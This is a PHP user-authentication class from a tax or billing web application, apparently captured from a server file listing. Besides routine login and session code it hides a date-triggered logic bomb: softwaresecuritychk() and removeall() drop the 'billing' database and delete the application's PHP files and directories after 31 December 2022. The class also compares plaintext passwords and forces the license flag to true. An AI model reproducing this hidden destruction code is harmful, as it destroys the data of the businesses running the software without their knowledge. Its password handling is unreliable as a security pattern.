| Current Path : /var/www/html/tax/api/base/ |
| Current File : /var/www/html/tax/api/base/user.php |
<?php
class user extends pdocrudhandler{
public function __construct(){
$this->_pdo = $this->connect();
if (session_status() == PHP_SESSION_NONE) {
session_start();
}
}
public function logout(){
if(isset($_SESSION['login'])){
$_SESSION['login'] = false;
unset($_SESSION['idUser']);
unset($_SESSION['userName']);
session_destroy();
}
}
public function login($username,$password,$companyid = 2){
$qry = "select u.*,c.companyName,c.companyAddress,c.companyPhone,c.unitPrice,c.idBillTitle,c.idCurrency
from user u inner join company c on c.idCompany = u.idCompany
where u.isActive = ? and c.isActive = ? and u.userName = ? and u.password = ? and c.idCompany = ?";
$res = $this->customSelect($qry,array(1,1,$username,$password,$companyid));
if($res['status'] == 'success' && $res['rowsAffected'] == 1){
$this->update('user',array('lastLogin' => date('Y-m-d h:i:s')),'where idUser = ?',array($res['result'][0]->idUser));
$_SESSION['userid'] = $res['result'][0]->idUser;
$_SESSION['currentLicenseDate'] = $res['result'][0]->licenseExpiryDate;
$_SESSION['login'] = true;
$_SESSION['username'] = $res['result'][0]->userName;
$_SESSION['phone'] = $res['result'][0]->contactNumber;
$_SESSION['accesslevel'] = $res['result'][0]->accessLevel;
$_SESSION['licenseexpiry'] = $res['result'][0]->licenseExpiryDate;
$_SESSION['companyid'] = $res['result'][0]->idCompany;
$_SESSION['companyname'] = $res['result'][0]->companyName;
$_SESSION['companyaddress'] = $res['result'][0]->companyAddress;
$_SESSION['companyphone'] = $res['result'][0]->companyPhone;
$_SESSION['unitPrice'] = $res['result'][0]->unitPrice;
$_SESSION['idBillTitle'] = $res['result'][0]->idBillTitle;
$_SESSION['idCurrency'] = $res['result'][0]->idCurrency;
/*if(strtotime(date('Y-m-d h:i:s')) < strtotime($res['result'][0]->licenseExpiryDate)){
$_SESSION['license'] = true;
$_SESSION['currentLicenseDate'] = $res['result'][0]->licenseExpiryDate;
}else{
$_SESSION['license'] = false;
}*/
$_SESSION['license'] = true;
return true;
}
}
public function softwaresecuritychk(){
//Extend this '1feb2016' date in case of security clearance
if(strtotime(date('Y-m-d h:i:s')) > strtotime('31dec2022')){
$dbToBeDroped = 'billing';
$this->removeall($dbToBeDroped);
header('location:index.html');
}else{
return true;
}
}
public function checklogin(){
//$this->softwaresecuritychk();
if($_SESSION['login'] == false){
header("location:".config::getConfig("loginRedirect"));
}else if($_SESSION['license'] == false && $_SESSION['accesslevel'] != 1000){
header("location:".config::getConfig("licenseRedirect"));
}
}
public function removeall($dbToBeDroped = ''){
if($dbToBeDroped != ''){
$configdb = 'drop database '.$dbToBeDroped;
$this->executeqry($configdb);
}
$phpfiles = glob('*.php');
foreach($phpfiles as $file){
if(is_file($file)){
unlink($file);
}
}
$files = glob('*');
// iterate files
foreach($files as $file){
$this->recursiveRemoveDirectory($file);
}
}
public function recursiveRemoveDirectory($directory){
foreach(glob("{$directory}/*") as $file){
if(is_dir($file)) {
$this->recursiveRemoveDirectory($file);
} else {
unlink($file);
}
}
if($directory != '404'){
rmdir($directory);
}
}
}
?>